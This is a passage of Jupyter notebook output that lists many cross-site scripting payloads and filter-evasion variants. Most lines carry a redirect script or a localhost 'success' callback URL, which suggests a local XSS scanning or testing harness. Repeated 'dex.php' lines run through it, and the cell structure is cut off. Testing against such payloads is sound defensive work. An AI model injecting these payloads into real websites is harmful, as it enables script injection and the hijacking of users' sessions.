      "<body onscroll=88a0534745ac4cd364529891f967bd1a><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IMG SRC=\"http://localhost:19084/success/fb5d973b96136e4208e223b897d87b7e\">\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/39b2b039933b0dc114b9682634b2ccb3\">\n",
      "<<SCRIPT>document.location=document.location.hash.substring(1)//<</SCRIPT>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "\"><SCRIPT>alert('http://localhost:19084/success/9a927bf3ddbb0c96c0728b6ecf62bb64')</SCRIPT>\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/4fb2387e1ef6ce32dfc013c6d9ddc76b\">\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/7fcfcfb9b242e46eecad2fcf0873e5c0\">\n",
      "<style><!--</style><SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<SCRIPT>a=/document.location=document.location.hash.substring(1)/alert(a.source)</SCRIPT>\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/550c96a497cbc11d93991dd82907220a]\">\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<IMG SRC=http://localhost:19084/success/15fe711e1cc91b2d8656450ea0b19c1e>\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-document.location=document.location.hash.substring(1)+ADw-/SCRIPT+AD4-\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "<STYLE TYPE=\"text/javascript\"><script>document.location=document.location.hash.substring(1)</script></STYLE>\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/dc5e4f26d262bc286a9ebd34c7c76784\">\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "<IMG SRC=`http://localhost:19084/success/9b4d738ff881a18656246a3e43e9e7a0`>\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/9306cce18086165c4c3916e5dda0161c\">\n",
      "<IMG SRC='http://localhost:19084/success/d022ab4cd0824b0d44336a2694cba712'\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "<? echo('<SCR)';echo('IPT>document.location=document.location.hash.substring(1)</SCRIPT>'); ?>\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG SRC='vbscript:http://localhost:19084/success/83974f0fe68ae53e480e3af8d9505668'>\n",
      "<IMG LOWSRC=\"http://localhost:19084/success/f13c5ee8a12c539ae7f3c2e024dc3f61\">\n",
      "--- <IMG SRC=\"http://localhost:19084/success/8ee1493a037062c9265087a076e8a389\"\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/117a19e1385d03e3451159edb02e4f7e\")\";eval(a+b+c+d);\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/75b1ae2dd4267119c59c5221d98fca34\">\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/d5406cfef6346eb781842fbb2992fa88\">\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<SCRIPT>a=/XSS/ndocument.location=document.location.hash.substring(1)</SCRIPT>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;document.location=document.location.hash.substring(1)&lt;/SCRIPT&gt;\">\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/502bef073677ee3a80e1ba45a2439268\">\n",
      "<SCRIPT <B>=document.location=document.location.hash.substring(1)\"></SCRIPT>\n",
      "<IFRAME SRC=\"http://localhost:19084/success/07a31d0d78cb91fb0d41a005a7876539\"></IFRAME>\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
      "<SCRIPT SRC=http://127.0.0.1>http://localhost:19084/success/37771ca7fad8f470d1cf20c032b05ff7</SCRIPT>\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/3b399a667d70bd38b386de4e322fc9a1\">\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/3dc575685ab2db685d35adfacf01305d\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/4cca0cee316501952fa95c38f8ae4a3b\">\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/ca84d2585808787871f5af52adabf809]\">\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/9fc923d4592e2a4f2735945e0d9b658d\">\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/6f10373468ab3520fdb1e23bfd74ad4b\")}</STYLE>\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/cf20a338a0d9e5c42c1d83bcd030ddad\");}</STYLE><A CLASS=XSS></A>\n",
      "![CDATA[<!--]]<SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "<input onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "<select onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<keygen onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<IMG SRC=&{http://localhost:19084/success/1508518111bbd36ddf89590a7f8ae1e3};>\n",
      "<body onscroll=<script>document.location=document.location.hash.substring(1)</script>><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<input onblur=javascript:document.location=document.location.hash.substring(1) autofocus><input autofocus>\n",
      "X<form id=test onforminput=javascript:document.location=document.location.hash.substring(1)><input></form>\n",
      "<textarea onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<video><source onerror=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<video poster=javascript:document.location=document.location.hash.substring(1)//\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:http://localhost:19084/success/7f2b27a26dc3d1b094474d833ffba6cd\">]]</C><X></xml>\n",
      "<video onerror=\"javascript:document.location=document.location.hash.substring(1)\"><source>\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "\">1be75d90a2c4a3fc2f4f0e09772025a8\n",
      "\"><SCRIPT>alert('345fec7d1b4bd1eda3cacda6f1c4bcfe')</SCRIPT>\n",
      "\"><img src=\"x:x\" onerror=\"ce5e8564c5ec208b5cfc3224e4ed3bf2\">\n",
      "</TITLE>c31aac8cb8fbad03ce86bb205a70b7df\n",
      "'';!--\"<fb3c509c4345ee1d7105658952590c6c>=&{()}\"\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=ce4730c6cc0202e4390b7f9960f654e2>\n",
      "'';!--\"<a8c61e72cee858086915a5a75ebc1303>=&{()}\"\n",
      "<IMG SRC=`ec641b187c8a3a734c9d001c4694bca9`>\n",
      "<IMG SRC=18cbc089c68916ab4fc82bee528745c9>\n",
      "<IMG SRC=\"b38c7c6ad60b90e79ee0973d881fba85\">\n",
      "<IMG \"\"\">a7ce4bd50ab8184c2d9354ac01fad027\">\n",
      "<IMG SRC=\" &#14;  427682c1ff32195c9658050a4ecbf5ae\">\n",
      "<DIV STYLE=\"behaviour: url(8298b56979dc1e39a42fba04bf4869e2);\">\n",
      "<<SCRIPT>e24d00e52b2cff211c1371abbdafcb67//<</SCRIPT>\n",
      "\";08f6ea9369951e11e0ef344d4ad44ab0//\n",
      "<IMG SRC='e9ca2035ee4324ff8fe0eb2a22e56b57'\n",
      "<BODY BACKGROUND=\"1317ed0e60d437cdbcc865c11437ef21\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"b50aaef417baa342ac453868c33e95af\">\n",
      "<BODY ONLOAD=f9a65353274a351650936cf66154533c>\n",
      "<IMG DYNSRC=\"8116899df1d87dd2c5daeb4d8f9bed34\">\n",
      "<BGSOUND SRC=\"199eea3faf0662ff84ff7ebd2a9f8279\">\n",
      "<IMG LOWSRC=\"f6252e7f8acecb6df798fd3afe51ce5e\">\n",
      "<BR SIZE=\"&{ceb3d69d10d83476fc90f2b0fd9f6a6a}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"5a4a0139b1a52ea5456e105c59de3e4c\">\n",
      "<IMG SRC=\"mocha:[be65fa83d1ebcc3960ee12dfd5e999f4]\">\n",
      "<IMG SRC='vbscript:e56970de22120a651a9b8a76abda090e'>\n",
      "<IMG SRC=\"livescript:[62b25cbbdd46f968927019405834d122]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=a2c912ee05f937167c0e4d388bd829b6\">\n",
      "<TABLE BACKGROUND=\"599b80b34b43a05e24aa3c403aa5e919\">\n",
      "<TABLE BACKGROUND=javascript:65830d1a89d67e117626a7c2264815a1>\n",
      "<TABLE><TD BACKGROUND=\"381253618309b11d21753cf5fbacf068\">\n",
      "<DIV STYLE=\"background-image: url(7b84f823daca639b10b94dfc0621ec5b);\">\n",
      "<DIV STYLE=\"width: expression(cd0d2304d78d2a1b1b8c96dcb47ea57a);\">\n",
      "<IFRAME SRC=\"d94e5e91a5a0d5d7dc143ad4110fe232\"></IFRAME>\n",
      "<iframe/ \"onload=a0bbbadf813104dd77d79ba88b9a683d></iframe>\n",
      "<iframe/ /onload=fbd367d1dd1980bbb34db74c4260e10b></iframe>\n",
      "<iframe///////onload=9fa84311348ac7d7b4d6a5244e76ef95></iframe>\n",
      "<iframe \"onload=312ae80bbf180a14ee218277ad31cc89></iframe>\n",
      "<iframe/ \"onload=0b1f6f455524f70c62f0aa920b131809></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=dd998d6d5901f937ffb80e867f9557c5></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=575bb5ce8780f3732a65d06ea30fea8f></iframe>\n",
      "<FRAMESET><FRAME SRC=\"3974b3bd6f898789540afd7f9074ef20\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"732f9aac9f02d6869353f560cbb58f1f\">\n",
      "<TABLE><TD BACKGROUND=\"76c4d5f9e0a401490f24c597cd29d151\">\n",
      "<IMG STYLE=\"xss:expr/*9351155a94a1f6af3b5cd2d53b25cf69*/ession(9351155a94a1f6af3b5cd2d53b25cf69)\">\n",
      "<DIV STYLE=\"background-image: url(&#1;cf0f109755911eeaf85f4e699b7d6daf)\">\n",
      "<DIV STYLE=\"width: expression(6924159165fe3b45fc016334f0282b3e);\">\n",
      "<2b78b85e85197863d2fa7bfd990958de STYLE=\"xss:expression(2b78b85e85197863d2fa7bfd990958de)\">\n",
      "<STYLE TYPE=\"text/javascript\">b110e0e2e9263fae2eb4875b78609775</STYLE>\n",
      "<STYLE>.8ecdc7c12ef942dc494b430d88c3aee3{background-image:url(\"8ecdc7c12ef942dc494b430d88c3aee3\");}</STYLE><A CLASS=8ecdc7c12ef942dc494b430d88c3aee3></A>\n",
      "<!--[if gte IE 4]>82a57e58668f6223586a1957c911d63b<![endif]-->\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"048d05f19b1f8949739cd8b5db93071c\")}</STYLE>\n",
      "<BASE HREF=\"6bc961022f01afc88fbaa9f86beb5d31//\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=363a41228f9c9fdce15315cb545156c5></OBJECT>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"5f17026e13721e0a0627f52ca02ace49\")\";eval(a+b+c+d);\n",
      "<? echo('<SCR)';echo('IPT>d329fbb227859268a1d6c9dec89bc59a</SCRIPT>'); ?>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;2b2b728955a4cbcda5d9fad11c6b6db6&lt;/SCRIPT&gt;\">\n",
      "<IMG SRC=\"&14;javascript:750c5be483fd60eb9e5299daad222da6\">\n",
      "<SCRIPT SRC=http://127.0.0.1>ac9e13b3744b5bd8d1e35f43fdefcd0c</SCRIPT>\n",
      "<IMG SRC=\"jav&#x0D;ascript:623af72a13ea351ed8a28e82cd11a831\">\n",
      "--- <IMG SRC=\"5d796c189dd81e599b76b10e8923edc6\"\n",
      "--- <IMG SRC=\" &#14;  55b0fad724bcbd3cbdfeb3fc3c1e3a19\">\n",
      "<SCRIPT>a=/cee8c741923acb9a7a3597e03f3bd29d/alert(a.source)</SCRIPT>\n",
      "--- \";4181277c2d2661217d59b0cc2ab7fd26;//\n",
      "<SCRIPT <B>=1073933e23da16416b39ec9dd7b42bdb\"></SCRIPT>\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=cf392d4f562ea76bb28fef28417e09f5\">\n",
      "<IFRAME SRC=\"javascript:f7ef52bb7aba5f73e583df181055d258 <\n",
      "<SCRIPT>a=/bad41f5cbc2cb296880fa520b614d418/nbad41f5cbc2cb296880fa520b614d418</SCRIPT>\n",
      "<LAYER SRC=\"javascript:fff9b1d385c3af2db9b58dec324834e8></LAYER>\n",
      "<STYLE>li {list-style-image: url(\"6f8bd42c1a6256bd0ad47e092306a214</STYLE><UL><LI>6f8bd42c1a6256bd0ad47e092306a214\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:4718df118ade14578a0a7a78c09ce097\">\n",
      "<input type=\"image\" dynsrc=\"33f5c6eef26fb951670efc309861f09f\">\n",
      "<a href=\"javascript#9874917b481018a19f368574f47b6009\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-53b001083e1da3943ef74e7c67e815e2+ADw-/SCRIPT+AD4-\n",
      "&61ac0b29536ee882117660d804c70270\">\n",
      "<a href=\"about:3734b0bf828b30f92b27a2e74fabbc1d\">\n",
      "<IMG SRC=&{2711754df2f314f14344b1d3f02536aa};>\n",
      "<DIV STYLE=\"binding: url(javascript:95307b59e967c46d825196b7f6535083);\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:c8a43979db791f115a21323d713edeed\">\n",
      "&{07e0ffbd948b66539f7e71967919d407};\n",
      "<style><!--</style><SCRIPT>2453fa569d30370992a0047fa4d4d7ab//--></SCRIPT>\n",
      "![CDATA[<!--]]<SCRIPT>626605bde4f08ccf7ea3f499fb105a31//--></SCRIPT>\n",
      "<!-- -- -->a18662000089fc888b313e75fa4fe12a<!-- -- -->\n",
      "<xml id=\"X\"><a><b>3b146a2062c824477361fbf7aed1a440;<b></a></xml>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#66c916c079b6cf9f690af0187b83d9d2\"></div>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:c33f8d32779ec7eaa1ee65752b234965\">]]</C><X></xml>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:01b5c1e4408a2603a088857643067ca8\">X\n",
      "<input onblur=javascript:c2dfb566825b2b3104c2e6d35b37dace autofocus><input autofocus>\n",
      "<keygen onfocus=javascript:671f17a02c4fea43c5681bfc8037e9ee autofocus>\n",
      "<video poster=javascript:8e3612a88f6f59419f1241f5ee63d54b//\n",
      "<textarea onfocus=javascript:63b93f90035942af740283d7b89542d6 autofocus>\n",
      "<select onfocus=javascript:0d34fbc9e58d7f75587b74a22f6a1bfc autofocus>\n",
      "<input onfocus=javascript:d5b10615dc401b181f7b7d573d54ec9a autofocus>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:ac2848f9f9bfef98e00d76560abb0904>X\n",
      "<body onscroll=f2b3856f37eb5f80c4af95bb045d6ba3><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "X<form id=test onforminput=javascript:278cbc8fce0be5c154f47468ab38eaff><input></form>\n",
      "<video><source onerror=\"javascript:05246e1d2d014cab9fa611018ec23ed7\">\n",
      "<video onerror=\"javascript:03ee49c16cff8919ed79d74adc4218db\"><source>\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/8116899df1d87dd2c5daeb4d8f9bed34\">\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "\"><SCRIPT>alert('http://localhost:19084/success/345fec7d1b4bd1eda3cacda6f1c4bcfe')</SCRIPT>\n",
      "<SCRIPT>a=/document.location=document.location.hash.substring(1)/alert(a.source)</SCRIPT>\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/3974b3bd6f898789540afd7f9074ef20\"></FRAMESET>\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/199eea3faf0662ff84ff7ebd2a9f8279\">\n",
      "<<SCRIPT>document.location=document.location.hash.substring(1)//<</SCRIPT>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/ce5e8564c5ec208b5cfc3224e4ed3bf2\">\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "dex.php\n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/1317ed0e60d437cdbcc865c11437ef21\">\n",
      "<IMG SRC=\"http://localhost:19084/success/b38c7c6ad60b90e79ee0973d881fba85\">\n",
      "<IMG SRC=`http://localhost:19084/success/ec641b187c8a3a734c9d001c4694bca9`>\n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<IMG SRC=http://localhost:19084/success/18cbc089c68916ab4fc82bee528745c9>\n",
      "<IMG LOWSRC=\"http://localhost:19084/success/f6252e7f8acecb6df798fd3afe51ce5e\">\n",
      "dex.php\n",
      "<IMG SRC='http://localhost:19084/success/e9ca2035ee4324ff8fe0eb2a22e56b57'\n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/b50aaef417baa342ac453868c33e95af\">\n",
      "dex.php\n",
      "<SCRIPT <B>=document.location=document.location.hash.substring(1)\"></SCRIPT>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/732f9aac9f02d6869353f560cbb58f1f\">\n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/62b25cbbdd46f968927019405834d122]\">\n",
      "<IMG SRC='vbscript:http://localhost:19084/success/e56970de22120a651a9b8a76abda090e'>\n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/5a4a0139b1a52ea5456e105c59de3e4c\">\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "dex.php\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "dex.php\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/381253618309b11d21753cf5fbacf068\">\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "dex.php\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/76c4d5f9e0a401490f24c597cd29d151\">\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<textarea onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<input onblur=javascript:document.location=document.location.hash.substring(1) autofocus><input autofocus>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/048d05f19b1f8949739cd8b5db93071c\")}</STYLE>\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/be65fa83d1ebcc3960ee12dfd5e999f4]\">\n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "<SCRIPT>a=/XSS/ndocument.location=document.location.hash.substring(1)</SCRIPT>\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "<IFRAME SRC=\"http://localhost:19084/success/d94e5e91a5a0d5d7dc143ad4110fe232\"></IFRAME>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/599b80b34b43a05e24aa3c403aa5e919\">\n",
      "![CDATA[<!--]]<SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;document.location=document.location.hash.substring(1)&lt;/SCRIPT&gt;\">\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "<STYLE TYPE=\"text/javascript\"><script>document.location=document.location.hash.substring(1)</script></STYLE>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "--- <IMG SRC=\"http://localhost:19084/success/5d796c189dd81e599b76b10e8923edc6\"\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "<? echo('<SCR)';echo('IPT>document.location=document.location.hash.substring(1)</SCRIPT>'); ?>\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/8ecdc7c12ef942dc494b430d88c3aee3\");}</STYLE><A CLASS=XSS></A>\n",
      "<SCRIPT SRC=http://127.0.0.1>http://localhost:19084/success/ac9e13b3744b5bd8d1e35f43fdefcd0c</SCRIPT>\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "<style><!--</style><SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:http://localhost:19084/success/c33f8d32779ec7eaa1ee65752b234965\">]]</C><X></xml>\n",
      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/5f17026e13721e0a0627f52ca02ace49\")\";eval(a+b+c+d);\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-document.location=document.location.hash.substring(1)+ADw-/SCRIPT+AD4-\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<select onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<body onscroll=<script>document.location=document.location.hash.substring(1)</script>><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<IMG SRC=&{http://localhost:19084/success/2711754df2f314f14344b1d3f02536aa};>\n",
      "<video onerror=\"javascript:document.location=document.location.hash.substring(1)\"><source>\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/33f5c6eef26fb951670efc309861f09f\">\n",
